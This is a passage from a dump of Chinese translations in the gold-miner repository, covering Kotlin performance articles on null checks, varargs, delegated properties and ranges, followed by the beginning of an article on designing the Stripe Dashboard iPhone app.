语言中最好的特性之一就是明确区分了[可空与不可空类型](https://kotlinlang.org/docs/reference/null-safety.html)。这可以使编译器在运行时通过禁止任何代码将 `null` 或者可空值分配给不可空变量来有效地阻止意想不到的 `NullPointerException`。\n\n#### 不可空参数运行时检查\n\n让我们声明一个公共的接收一个不可空 `String` 做为参数的函数：\n\n```\nfun sayHello(who: String) {\n    println(\"Hello $who\")\n}\n```\n\n现在看一下编译之后的等同的 Java 形式：\n\n```\npublic static final void sayHello(@NotNull String who) {\n   Intrinsics.checkParameterIsNotNull(who, \"who\");\n   String var1 = \"Hello \" + who;\n   System.out.println(var1);\n}\n```\n\n注意，Kotlin 编译器是 Java 的好公民，它在参数上添加了一个 `@NotNull` 注解，因此当一个 **`null`** 值传过来的时候 Java 工具可以据此来显示一个警告。\n\n但是一个注解还不足以让外部调用实现空值安全。这就是为什么编译器在函数的刚开始处还添加了一个可以检测参数并且如果参数为 **`null`** 就抛出 `IllegalArgumentException` 的**静态方法调用**。为了使不安全的调用代码更容易修复，这个函数在早期就会失败而不是在后期随机地抛出 `NullPointerException`。\n\n在实践中，**每一个公共的函数**都会在**每一个不可空引用参数**上添加一个 `Intrinsics.checkParameterIsNotNull()` 静态调用。**私有函数不会**有这些检查，因为编译器会保证 Kotlin 类中的代码是空值安全的。\n\n这些静态调用对性能的影响可以忽略不计并且他们在调试或者测试一个 app 时确实很有用。话虽这么说，但你还是可能将他们视为一种正式版本中不必要的额外成本。在这种情况下，可以通过使用编译器选项中的 `-Xno-param-assertions` 或者添加以下的[混淆](https://www.guardsquare.com/en/proguard)规则来禁用运行时空值检查：\n\n```\n-assumenosideeffects class kotlin.jvm.internal.Intrinsics {\n    static void checkParameterIsNotNull(java.lang.Object, java.lang.String);\n}\n```\n\n> 注意，这条混淆规则只有在优化功能开启的时候有效。优化功能在默认的安卓混淆配置中是禁用的。\n\n#### 可空的基本类型\n\n虽然显而易见，但仍需谨记：可空类型都是引用类型。将基础类型变量声明为 **可空**的话，会阻止 Kotlin 使用 Java 中类似 **`int`** 或者 **`float`** 那样的基础类型，相应的类似 `Integer` 或者 `Float` 那样的**装箱引用类型**会被使用，这就引起了额外的装箱或拆箱成本。\n\n与 Java 中允许草率地使用与 **`int`** 变量几乎完全一样的 **`Integer`** 变量相反，由于[自动装箱](http://docs.oracle.com/javase/8/docs/technotes/guides/language/autoboxing.html)和不需要考虑空值安全的原因，在使用可空类型时 Kotlin 会迫使你编写安全的代码，因此使用不可空类型的好处变得越来越清晰：\n\n```\nfun add(a: Int, b: Int): Int {\n    return a + b\n}\nfun add(a: Int?, b: Int?): Int {\n    return (a ?: 0) + (b ?: 0)\n}\n```\n\n> 为了更好的可读性和更佳的性能尽量使用不可空基础类型。\n\n#### 数组相关\n\nKotlin 中有三种数组类型：\n\n- `IntArray`, `FloatArray` 还有其他的：基础类型数组。编译为 **`int[]`**, **`float[]`** 和其他的类型。\n- `Array<T>`：不可空对象引用类型化数组，这涉及到对基础类型的装箱。\n- `Array<T?>`：可空对象引用类型化数组。很明显，这也涉及到基础类型的装箱。\n\n> 如果你需要一个不可空的基础类型数组，最好用 `IntArray` 而不是 `Array<Int>` 来避免装箱（操作）。\n\n---\n\n### 可变参数\n\nKotlin 允许声明具有[数量可变的参数](https://kotlinlang.org/docs/reference/functions.html#variable-number-of-arguments-varargs)的函数，就像 Java 那样。声明语法有点不一样：\n\n```\nfun printDouble(vararg values: Int) {\n    values.forEach { println(it * 2) }\n}\n```\n\n就像 Java 中那样，**`vararg`** 参数实际上被编译为一个给定类型的 **数组** 参数。你可以用三种不同的方式来调用这些函数：\n\n#### 1. 传入多个参数\n\n```\nprintDouble(1, 2, 3)\n```\n\nKotlin 编译器会将这行代码转化为创建并初始化一个新的数组，和 Java 编译器做的完全一样：\n\n```\nprintDouble(new int[]{1, 2, 3});\n```\n\n因此有**创建一个新数组的开销**，但与 Java 相比这并不是什么新鲜事。\n\n#### 2. 传入一个单独的数组\n\n这就是不同之处。在 Java 中，你可以直接传入一个现有的数组引用作为可变参数。但是在 Kotlin 中你需要使用 **分布操作符**:\n\n```\nval values = intArrayOf(1, 2, 3)\nprintDouble(*values)\n```\n\n在 Java 中，数组引用被“原样”传入函数，而无需分配额外的数组内存。然而，**分布操作符**编译的方式不同，正如你在（等同的）Java 代码中看到的：\n\n```\nint[] values = new int[]{1, 2, 3};\nprintDouble(Arrays.copyOf(values, values.length));\n```\n\n每当调用这个函数时，现在的数组总会被复制。好处是代码更安全：允许函数在不影响调用者代码的情况下修改这个数组。**但是会分配额外的内存**。\n\n**注意，在 Kotlin 代码中调用一个有可变参数的 Java 方法会产生相同的效果。**\n\n#### 3. 传入混合的数组和参数\n\n**分布操作符**主要的好处是，它还允许在同一个调用中数组参数和其他参数混合在一起进行传递。\n\n```\nval values = intArrayOf(1, 2, 3)\nprintDouble(0, *values, 42)\n```\n\n**这**是如何编译的呢？生成的代码十分有意思：\n\n```\nint[] values = new int[]{1, 2, 3};\nIntSpreadBuilder var10000 = new IntSpreadBuilder(3);\nvar10000.add(0);\nvar10000.addSpread(values);\nvar10000.add(42);\nprintDouble(var10000.toArray());\n```\n\n除了**创建新数组**外，一个**临时的 builder 对象**被用来计算最终的数组大小并填充它。这就使得这个方法调用又增加了另一个小的成本。\n\n> 在 Kotlin 中调用一个具有可变参数的函数时会增加创建一个新临时数组的成本，即使是使用已有数组的值。对方法被反复调用的性能关键性的代码来说，考虑添加一个以真正的数组而不是 **`可变数组`** 为参数的方法。\n\n---\n\n感谢阅读，如果你喜欢的话请分享本文。\n\n继续阅读[第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-3.md)：**委派属性**和**范围**。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/exploring-kotlins-hidden-costs-part-3.md",
    "content": "\n> * 原文地址：[Exploring Kotlin’s hidden costs — Part 3](https://medium.com/@BladeCoder/exploring-kotlins-hidden-costs-part-3-3bf6e0dbf0a4)\n> * 原文作者：[Christophe B.](https://medium.com/@BladeCoder)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-3.md)\n> * 译者：[PhxNirvana](https://juejin.im/user/57a16f4e6be3ff00650682d8)\n> * 校对者：[Zhiw](https://github.com/Zhiw)、[Feximin](https://github.com/Feximin)\n\n# 探索 Kotlin 的隐性成本（第三部分）\n\n---\n\n## 委托属性（Delegated propertie）和区间（range）\n\n本系列关于 Kotlin 的前两篇文章发表之后，读者们纷至沓来的赞誉让我受宠若惊，其中还包括 Jake Wharton 的留言。很乐意和大家再次开始探索之旅。不要错过 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-1.md) 和 [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-kotlins-hidden-costs-part-2.md).\n\n本文我们将探索更多关于 Kotlin 编译器的秘密，并提供一些可以使代码更高效的建议。\n\n![](https://cdn-images-1.medium.com/max/800/1*-iKupZ7diZBEzTw87Bkaxg.jpeg)\n\n### 委托属性\n\n[委托属性](https://kotlinlang.org/docs/reference/delegated-properties.html) 是一种通过**委托**实现拥有 getter 和可选 setter 的 [属性](https://kotlinlang.org/docs/reference/properties.html)，并允许实现可复用的自定义属性。\n\n```\nclass Example {\n    var p: String by Delegate()\n}\n```\n\n委托对象必须实现一个拥有 `getValue()` 方法的操作符，以及 `setValue()` 方法来实现读/写属性。些方法将会接受**包含对象实例**以及**属性元数据**作为额外参数。\n\n当一个类声明委托属性时，编译器生成的代码会和如下 Java 代码相似。\n\n```\npublic final class Example {\n   @NotNull\n   private final Delegate p$delegate = new Delegate();\n   // $FF: synthetic field\n   static final KProperty[] $$delegatedProperties = new KProperty[]{(KProperty)Reflection.mutableProperty1(new MutablePropertyReference1Impl(Reflection.getOrCreateKotlinClass(Example.class), \"p\", \"getP()Ljava/lang/String;\"))};\n\n   @NotNull\n   public final String getP() {\n      return this.p$delegate.getValue(this, $$delegatedProperties[0]);\n   }\n\n   public final void setP(@NotNull String var1) {\n      Intrinsics.checkParameterIsNotNull(var1, \"<set-?>\");\n      this.p$delegate.setValue(this, $$delegatedProperties[0], var1);\n   }\n}\n```\n\n一些静态属性元数据被加入到类中，委托在类的构造函数中初始化，并在每次读写属性时调用。\n\n#### 委托实例\n\n在上面的例子中，**创建了一个新的委托实例**来实现属性。这就要求委托的实现是**有状态的**，例如当其内部缓存计算结果时：\n\n```\nclass StringDelegate {\n    private var cache: String? = null\n\n    operator fun getValue(thisRef: Any?, property: KProperty<*>): String {\n        var result = cache\n        if (result == null) {\n            result = someOperation()\n            cache = result\n        }\n        return result\n    }\n}\n```\n\n与此同时，当需要**额外的参数**时，需要建立新的委托实例，并将其传递到构造器中：\n\n```\nclass Example {\n    private val nameView by BindViewDelegate<TextView>(R.id.name)\n}\n```\n\n但也有一些情况是**只需要一个委托实例来实现任何属性的**：当委托是无状态，并且它所需要的唯一变量就是已经提供好的包含对象实例和委托名称时，可以通过将其声明为 **`object`** 来替代 **`class`** 实现一个**单例**委托。\n\n举个例子，下面的单例委托从 Android `Activity` 中取回与给定 tag 相匹配的 `Fragment`：\n\n```\nobject FragmentDelegate {\n    operator fun getValue(thisRef: Activity, property: KProperty<*>): Fragment? {\n        return thisRef.fragmentManager.findFragmentByTag(property.name)\n    }\n}\n```\n\n类似地，**任何已有类都可以通过扩展变成委托**。`getValue()` 和 `setValue()` 也可以被声明成 [**扩展方法**](https://kotlinlang.org/docs/reference/extensions.html#extension-functions) 来实现。Kotlin 已经提供了内置的扩展方法来允许将 `Map` and `MutableMap` 实例用作委托，属性名作为其中的键。\n\n如果你选择复用相同的局部委托实例来在一个类中实现多属性，你需要在构造函数中初始化实例。\n\n**注意**：从 Kotlin 1.1 开始，也可以声明 [方法局部变量声明为委托属性](https://kotlinlang.org/docs/reference/delegated-properties.html#local-delegated-properties-since-11)。在这种情况下，委托可以直到该变量在方法内部声明的时候才去初始化，而不必在构造函数中就执行初始化。\n\n> 类中声明的每一个委托属性都会涉及到与之**关联委托对象的开销**，并会在类中增加一些元数据。\n> 如果可能的话，尽量在不同的属性间**复用**委托。\n> 同时也要考虑一下如果需要声明大量委托时，委托属性是不是一个好的选择。\n\n#### 泛型委托\n\n委托方法也可以被声明成泛型的，这样一来不同类型的属性就可以复用同一个委托类了。\n\n```\nprivate var maxDelay: Long by SharedPreferencesDelegate<Long>()\n```\n\n然而，如果像上例那样对基本类型使用泛型委托的话，即便声明的基本类型非空，也会在每次读写属性的时候**触发装箱和拆箱的操作**。\n\n> 对于非空基本类型的委托属性来说，最好使用**给定类型的特定委托类**而不是泛型委托来避免每次访问属性时增加装箱的额外开销。\n\n#### 标准委托： lazy()\n\n针对常见情形，Kotlin 提供了一些标准委托，如 [`Delegates.notNull()`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.properties/-delegates/not-null.html)、 [`Delegates.observable()`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.properties/-delegates/observable.html) 和 [*`lazy()`*](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/lazy.html)。\n\n**`lazy()`** 是一个在第一次读取时通过给定的 lambda 值来计算属性的初值，并返回只读属性的委托。\n\n```\nprivate val dateFormat: DateFormat by lazy {\n    SimpleDateFormat(\"dd-MM-yyyy\", Locale.getDefault())\n}\n```\n\n这是一种简洁的**延迟高消耗的初始化**至其真正需要时的方式，在保留代码可读性的同时提升了性能。\n\n需要注意的是，`lazy()` 并不是内联函数，传入的 lambda 参数也会被编译成一个额外的 `Function` 类，并且不会被内联到返回的委托对象中。\n\n经常被忽略的一点是 **`lazy()` 有可选的 `mode` 参数** 来决定应该返回 3 种委托的哪一种：\n\n```\npublic fun <T> lazy(initializer: () -> T): Lazy<T> = SynchronizedLazyImpl(initializer)\npublic fun <T> lazy(mode: LazyThreadSafetyMode, initializer: () -> T): Lazy<T> =\n        when (mode) {\n            LazyThreadSafetyMode.SYNCHRONIZED -> SynchronizedLazyImpl(initializer)\n            LazyThreadSafetyMode.PUBLICATION -> SafePublicationLazyImpl(initializer)\n            LazyThreadSafetyMode.NONE -> UnsafeLazyImpl(initializer)\n        }\n```\n\n默认模式 **`LazyThreadSafetyMode.SYNCHRONIZED`** 将提供相对耗费昂贵的 **双重检查锁** 来保证一旦属性可以从**多线程**读取时初始化块可以安全地执行。\n\n如果你确信属性只会在**单线程**（如主线程）被访问，那么可以选择 **`LazyThreadSafetyMode.NONE`** 来代替，从而**避免使用锁的额外开销**。\n\n```\nval dateFormat: DateFormat by lazy(LazyThreadSafetyMode.NONE) {\n    SimpleDateFormat(\"dd-MM-yyyy\", Locale.getDefault())\n}\n```\n\n> 使用 `lazy()` 委托来延迟初始化时的大量开销以及指定模式来避免不必要的锁。\n\n---\n\n### 区间\n\n[区间](https://kotlinlang.org/docs/reference/ranges.html) 是 Kotlin 中用来代表一个有限的值集合的特殊表达式。值可以是任何 `Comparable` 类型。 这些表达式的形式都是创建声明了 [`ClosedRange`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.ranges/-closed-range/) 接口的方法。创建区间的主要方法是 `..` 操作符方法。\n\n#### 包含\n区间表达式的主要作用是使用 **`in`** 和 **`!in`** 操作符实现包含和不包含。\n\n```\nif (i in 1..10) {\n    println(i)\n}\n```\n\n该实现针对**非空基本类型的区间**（包括 `Int`、`Long`、`Byte`、`Short`、`Float`、`Double` 以及 `Char` 的值）实现了优化，所以上面的代码可以被优化成这样：\n\n```\nif(1 <= i && i <= 10) {\n   System.out.println(i);\n}\n```\n\n**零额外支出**并且没有额外对象开销。区间也可以被包含在 **`when`** 表达式中：\n\n```\nval message = when (statusCode) {\n    in 200..299 -> \"OK\"\n    in 300..399 -> \"Find it somewhere else\"\n    else -> \"Oops\"\n}\n```\n\n相比一系列的 `if{...} else if{...}` 代码块，这段代码在不降低效率的同时提高了代码的可读性。\n\n然而，如果在声明和使用之间有至少一次间接调用的话，**range 会有一些微小的额外开销**。比如下面的代码：\n\n```\nprivate val myRange get() = 1..10\n\nfun rangeTest(i: Int) {\n    if (i in myRange) {\n        println(i)\n    }\n}\n```\n\n在编译后会创建一个额外的 `IntRange` 对象：\n\n```\nprivate final IntRange getMyRange() {\n   return new IntRange(1, 10);\n}\n\npublic final void rangeTest(int i) {\n   if(this.getMyRange().contains(i)) {\n      System.out.println(i);\n   }\n}\n```\n\n将属性的 getter 声明为 **`inline`** 的方法也无法避免这个对象的创建。**这是 Kotlin 1.1 编译器可以优化的一个点。**至少通过这些特定的区间类避免了装箱操作。\n\n> 尽量**在使用时直接**声明非空基本类型的区间，不要间接调用，来避免额外区间类的创建。\n> 或者直接声明为**常量**来复用。\n\n区间也可以用于其他实现了 `Comparable` 的非基本类型。\n\n```\nif (name in \"Alfred\"..\"Alicia\") {\n    println(name)\n}\n```\n\n在这种情况下，最终实现并不会优化，而且总是会创建一个 `ClosedRange` 对象，如下面编译后的代码所示：\n\n```\nif(RangesKt.rangeTo((Comparable)\"Alfred\", (Comparable)\"Alicia\")\n   .contains((Comparable)name)) {\n   System.out.println(name);\n}\n```\n\n> 如果你需要对一个实现了 `Comparable` 的非基本类型的区间进行频繁的包含的话，考虑将这个区间声明为常量来避免重复创建区间类吧。\n\n#### 迭代：for 循环\n\n**整型区间** （除了 `Float` 和 `Double`之外其他的基本类型）也是 **级数**：**它们可以被迭代**。这就可以将经典 Java 的 **`for`** 循环用一个更短的表达式替代。\n\n```\nfor (i in 1..10) {\n    println(i)\n}\n```\n\n经过编译器优化后的代码实现了**零额外开销**：\n\n```\nint i = 1;\nbyte var3 = 10;\nif(i <= var3) {\n   while(true) {\n      System.out.println(i);\n      if(i == var3) {\n         break;\n      }\n      ++i;\n   }\n}\n```\n\n如果要**反向迭代**，可以使用 [`downTo()`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.ranges/down-to.html) 中缀方法来代替 `..`：\n\n```\nfor (i in 10 downTo 1) {\n    println(i)\n}\n```\n\n编译之后，这也实现了零额外开销：\n\n```\nint i = 10;\nbyte var3 = 1;\nif(i >= var3) {\n   while(true) {\n      System.out.println(i);\n      if(i == var3) {\n         break;\n      }\n      --i;\n   }\n}\n```\n\n然而，**其他迭代器参数并没有如此好的优化**。\n\n反向迭代还有一种结果相同的方式，使用 [`reversed()`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.ranges/reversed.html) 方法结合区间：\n\n```\nfor (i in (1..10).reversed()) {\n    println(i)\n}\n```\n\n编译后的代码并没有看起来那么少：\n\n```\nIntProgression var10000 = RangesKt.reversed((IntProgression)(new IntRange(1, 10)));\nint i = var10000.getFirst();\nint var3 = var10000.getLast();\nint var4 = var10000.getStep();\nif(var4 > 0) {\n   if(i > var3) {\n      return;\n   }\n} else if(i < var3) {\n   return;\n}\n\nwhile(true) {\n   System.out.println(i);\n   if(i == var3) {\n      return;\n   }\n\n   i += var4;\n}\n```\n\n会创建一个临时的 `IntRange` 对象来代表区间，然后创建另一个 `IntProgression` 对象来反转前者的值。\n\n事实上，**任何结合不止一个方法来创建递进**都会生成类似的**至少创建两个微小递进对象**的代码。\n\n这个规则也适用于使用 [`step()`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.ranges/step.html) 中缀方法来操作递进的步骤，即使**只有一步**：\n\n```\nfor (i in 1..10 step 2) {\n    println(i)\n}\n```\n\n一个次要提示，当生成的代码读取 `IntProgression` 的 **`last`** 属性时会通过对边界和步长的小小计算来决定准确的最后值。在上面的代码中，最终值是 9。\n\n最后，[`until()`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.ranges/until.html) 中缀函数对于迭代也很有用，该函数（执行结果）不包含最大值。\n\n```\nfor (i in 0 until size) {\n    println(i)\n}\n```\n\n遗憾的是，**编译器并没有针对这个经典的包含区间围优化**，迭代器依然会创建区间对象：\n\n```\nIntRange var10000 = RangesKt.until(0, size);\nint i = var10000.getFirst();\nint var1 = var10000.getLast();\nif(i <= var1) {\n   while(true) {\n      System.out.println(i);\n      if(i == var1) {\n         break;\n      }\n      ++i;\n   }\n}\n```\n\n**这是 Kotlin 1.1 可以提升的另一个点**\n与此同时，可以通过这样写来优化代码：\n\n```\nfor (i in 0..size - 1) {\n    println(i)\n}\n```\n\n> **`for`** 循环内部的迭代，最好只用区间表达式的**一个单独方法来调用 `..` 或 `downTo()`** 来避免额外临时递进对象的创建。\n\n#### 迭代：forEach()\n\n作为 **`for`** 循环的替代，使用区间内联的扩展方法 `forEach()` 来实现相似的效果可能更吸引人。\n\n```\n(1..10).forEach {\n    println(it)\n}\n```\n\n但如果仔细观察这里使用的 `forEach()` 方法签名的话，你就会注意到并没有优化区间，而只是优化了 `Iterable`，所以需要创建一个 iterator。下面是编译后代码的 Java 形式：\n\n```\nIterable $receiver$iv = (Iterable)(new IntRange(1, 10));\nIterator var1 = $receiver$iv.iterator();\n\nwhile(var1.hasNext()) {\n   int element$iv = ((IntIterator)var1).nextInt();\n   System.out.println(element$iv);\n}\n```\n\n这段代码相比前者**更为低效**，原因是为了创建一个 `IntRange` 对象，还需要额外创建 `IntIterator`。但至少它还是生成了基本类型的值。\n\n> 迭代区间时，最好只使用 **`for`** 循环而不是区间上的 `forEach()` 方法来避免额外创建一个迭代器。\n\n#### 迭代：集合\n\nKotlin 标准库提供了内置的 [*`indices`*](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.collections/indices.html) 扩展属性来生成数组和 `Collection` 的区间。\n\n```\nval list = listOf(\"A\", \"B\", \"C\")\nfor (i in list.indices) {\n    println(list[i])\n}\n```\n\n令人惊讶的是，对这个 *`indices`* 的迭代**得到了编译器的优化**：\n\n```\nList list = CollectionsKt.listOf(new String[]{\"A\", \"B\", \"C\"});\nint i = 0;\nint var2 = ((Collection)list).size() - 1;\nif(i <= var2) {\n   while(true) {\n      Object var3 = list.get(i);\n      System.out.println(var3);\n      if(i == var2) {\n         break;\n      }\n      ++i;\n   }\n}\n```\n\n从上面的代码中我们可以看到没有创建 `IntRange` 对象，列表的迭代是以最高效率的方式运行的。\n\n这适用于数组和实现了 `Collection` 的类，所以你如果期望相同的迭代器性能的话，可以尝试在特定的类上使用自己的 *`indices`* 扩展属性。\n\n```\ninline val SparseArray<*>.indices: IntRange\n    get() = 0..size() - 1\n\nfun printValues(map: SparseArray<String>) {\n    for (i in map.indices) {\n        println(map.valueAt(i))\n    }\n}\n```\n\n但编译之后，我们可以发现**这并没有那么高效率**，因为编译器无法足够智能地避免区间对象的产生：\n\n```\npublic static final void printValues(@NotNull SparseArray map) {\n   Intrinsics.checkParameterIsNotNull(map, \"map\");\n   IntRange var10002 = new IntRange(0, map.size() - 1);\n   int i = var10002.getFirst();\n   int var2 = var10002.getLast();\n   if(i <= var2) {\n      while(true) {\n         Object $receiver$iv = map.valueAt(i);\n         System.out.println($receiver$iv);\n         if(i == var2) {\n            break;\n         }\n         ++i;\n      }\n   }\n}\n```\n\n所以，我会建议你避免声明自定义的 *`lastIndex`* 扩展属性：\n\n```\ninline val SparseArray<*>.lastIndex: Int\n    get() = size() - 1\n\nfun printValues(map: SparseArray<String>) {\n    for (i in 0..map.lastIndex) {\n        println(map.valueAt(i))\n    }\n}\n```\n\n> 当迭代没有声明 `Collection` 的**自定义集合** 时，**直接在 `for` 循环中写自己的序列区间**而不是依赖方法或属性来生成区间，从而避免区间对象的创建。\n\n---\n\n我在写本文时兴趣盎然，希望你读起来也一样。可能你还期待以后有更多的文章，但这三篇已经涵盖了我目前想要写的所有内容了。如果喜欢的话请分享。谢谢！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/exploring-the-product.md",
    "content": "> * 原文链接 : [Exploring the Product Design of the Stripe Dashboard for iPhone — Startups, Wanderlust, and Life Hacking — Medium](https://medium.com/swlh/exploring-the-product-design-of-the-stripe-dashboard-for-iphone-e54e14f3d87e#.ff88r5yuu)\n* 原文作者 : [Michaël Villar](https://medium.com/@michaelvillar)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [CaesarPan](https://github.com/CaesarPan)\n* 校对者: [Zhangjd](https://github.com/Zhangjd)、[404neko](https://github.com/404neko)\n\n# 探索 Stripe Dashboard 产品设计之道\n\n考虑到它提供的服务类型，Stripe没有像很多现在的新公司那样从移动端开始做起。Stripe的核心业务是它的支付API，这些API可以让使用它们的公司在几分钟内就完成支付设置。网页端的页面可以让一个团队里的每一个人都轻松地跟踪和管理订阅信息、支付信息、交易信息以及他们的顾客。但是这个页面是给大屏幕设计的，也正因此，它在移动端上几乎可以说是不可用的。不过，在将Checkout的最新版本发布之后，我们决定从iPhone下手，集中精力开发[一个移动端的app](https://stripe.com/dashboard/iphone)。\n\n![](https://cdn-images-1.medium.com/max/1200/1*mAvkW9E9TeJPUquXCM6t2w.png)\n\n这篇文章是关于创造这个移动端app的过程的，或者从更大的方面来讲，是关于[本杰明](https://twitter.com/bdc)和[我](https://twitter.com/michaelvillar)是如何设计产品的。这不一定是一种做产品的新方法，但我想和感兴趣的人一起分享。\n\n_设计任何一款产品都可能会让你感到无从下手，但是当你把它削减到只照顾到最关键的用户体验时，它就变得可实现了。_\n\n\n我们在把产品概念化的阶段花了大量时间。尽管这是第一步，但产品设计从来都不会真的完成，你要始终仔细地回过头来思考你对产品的设计。\n\n我们的第一次会议是用白板的形式展开的，在那次会议上我们挑出了我们认为的所有属于核心体验的特性，并以此作为会议的开端。对于iPhone上的这个Dashboard，我们把它视作一个和网页端搭配使用的app，并且只专注于两种最主要的使用情景，而不是使它成为一个具有网页端全部特性的版本：\n\n1.  一个你在早晨会最先打开并且快速回顾昨天的各种数字的app\n2.  一个快速查找客户、支付信息以及交易信息的工具\n\n\n![](https://cdn-images-1.medium.com/max/600/1*WmJOXZSO70d8XSqH0AHSGQ.gif)\n\n\n在确定了我们需要的特性之后，我们就开始着手设计整个app的框架了。但是由于我们两个人之间有9小时的时差，我们的工作又有了额外的困难。为了解决这个问题，我们就在纸上画下我们想要展示的东西并拍成照片，然后录一段对于框架的说明，发给对方然后等待回复。这里有一个例子（用法语写的）： [http://bit.ly/1GSByqd](http://bit.ly/1GSByqd)\n\n我们的框架非常粗糙。它没有任何视觉上的优化设计，它仅仅是对流程以及一个总的用户体验的说明。但它们能够帮助我们确定对这个app的预期，并且提醒我们想在每一屏上展示什么。\n\n\n![](https://cdn-images-1.medium.com/max/600/1*glT8wsxJ9Ke3Mjh3nRmJfg.gif)\n\n\n在我们的框架确定好之后，我们就开始进行UI的设计了。这个阶段刚开始时，我们一起紧张地工作，来确定最符合我们预想的UI。举个例子来说，主页的UI就经过了许多次迭代。我们很清楚我们想要让近期活动显示在最前面和最中央，但是决定什么 _不_ 需要显示在那里很困难。展示尽可能多的数据可能是个简便易行的方法，但是我们要决定哪些信息是最重要而应该被重点显示的，以便和其他虽然有趣但是不那么重要的信息区别开来。\n\n在我们两个都对我们的UI设计感到满意之后，本杰明便开始敲定所有的设计元素。当然，整个过程我也给出了不少反馈，但主要是本杰明做出了整个UI。\n\n\n在整个UI设计过程中我们都在考虑交互，但直到我们对整个UI设计有一个清晰的认识时我们才开始作出交互设计的原型。在设计原型的阶段，我们可以确认自己最初的交互设计是否是正确的。\n\n对于这个Dashboard app来说，最主要的部分是那些卡牌的样式。我们想在web端做一个这样的原型，但是做出来的东西有很多bug，不过这最起码告诉我们这主意值得一试。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*np5s8zeu57ol8JeAKFNQHg.gif)\n\n\n让这个UI显得直观又简洁是一个十分复杂的过程。\n\n*   我们想让一张卡片的打开方式能告诉用户他们能够对这张卡片进行些什么样的操作：我们让它在从侧面滑出时有一个小小的跳跃效果，因为这就是移动和挪走它们的方式\n*   我们想在拖拽一张卡片时在它对应的那一行上有一个阴影效果来表明你操作的是哪一张卡片\n*   我们想在移走一张卡片的同时将其他在它后面的卡片挪到前面来，来表明这是一个完整的过程\n*   我们想让卡片被移走的速度和余下的卡片堆往前移动的速度保持一致，这样就可以很清晰地表明这两个操作是互相关联的\n*   我们想让越靠后的卡片看起来越暗，就像它们在现实中的那样\n\n\n对操作菜单来说，我们想让这个菜单里按钮的名字和当前卡片的内容有关，而我们又不想打开一个大的、可能会烦到用户的那种传统的弹出菜单。于是我们想到了这种有趣的动画，到目前为止这种方式都没有什么问题，因为对每张卡片来说我们只需要不超过两个操作。如果你对这个菜单的内容不感兴趣，你甚至都不用去关掉它。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*w2xZf1DxkHQGV0ACBYYL0w.gif)\n\n打开／关闭这个操作菜单（我们做了一个HTML/CSS的原型）\n\n你可以在展示收益／客户的这张图中切换展示时使用的时间周期。我们设计的这种动画可以帮助用户搞懂之前的时间周期是如何变到新的来的。如果你仔细点看，你会发现在每一个小格代表的时间长度从天变到星期时，我们在缩小整张图的时候还做了一个渐隐的效果。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*htXPyd36h2udb2Yk2q6j0g.gif)\n\n在图表中改变显示的时间周期\n\n\n当一个app需要网络连接才能工作时，你可以展示一个着陆页，或是一个有一堆菊花图的空白app。最后我们选择了前者，并且加上了一点动画效果，因为在app加载数据的时候它其实并不会有什么响应。图中是一些我们设计的启动动画的原型：\n\n\n![](https://cdn-images-1.medium.com/max/800/1*wHNuKP1WqqUWmxKMLuHXNg.gif)\n\n对于启动动画，我们用HTML/CSS和After Effects(AE)做了一些原型\n\napp启动后，我们等待数据被加载来显示第一屏，并且立刻展示UI，没有多余的菊花图，也没有闪烁着的UI。如果网速太慢，我们还是会在几秒钟后显示菊花图。\n\n\n当你在app中点击任何一行的时候，我们还加了一个点击动画（受[Material Design](https://www.google.com/design/spec/material-design/introduction.html)的启发）。出于两个考虑，我们在打开一张卡片之前加了100毫秒的延迟：1）数据需要时间来加载，而显示一张空白的卡片没有任何意义，而且 